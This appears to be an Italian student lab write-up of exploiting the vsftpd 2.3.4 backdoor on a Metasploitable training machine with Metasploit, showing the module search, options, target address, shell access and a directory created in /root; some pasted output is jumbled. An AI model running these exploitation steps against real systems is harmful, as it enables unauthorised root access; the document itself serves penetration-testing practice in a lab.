

Avvio msfconsole

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ msfconsole

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
fffffffefffffffefffffffefffffffe
fffffffe.....
fffffffefffffffefffffffefffffffe
fffffffe.....
fffffffe.....
fffffffe.....
```

Ricerca exploit per vsftpd

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Exe
cution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  -  -  -  -
  RHOSTS    10.10.10.10      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
/basics/using-metasploit.html
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  -  -  -  -
```

Dopo aver impostato l'indirizzo, con il comando set RHOSTS, tramite il comando exploit inizio l'hacking.

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.50.101  yes       The target host(s), see https://d
  RPORT     21                yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  --      -

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > ss
```

Una volta che la shell è attiva, verifico con ip a, e di seguito creo la mia directory.

```
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

Una volta creata con ls la vedo nella cartella di root, e verifico la presenza anche su metasploitable.

```
msfadmin@metasploitable:~$ cd /root
msfadmin@metasploitable:/root$ ls
Desktop reset_logs.sh test_metasploit vnc.log
msfadmin@metasploitable:/root$
```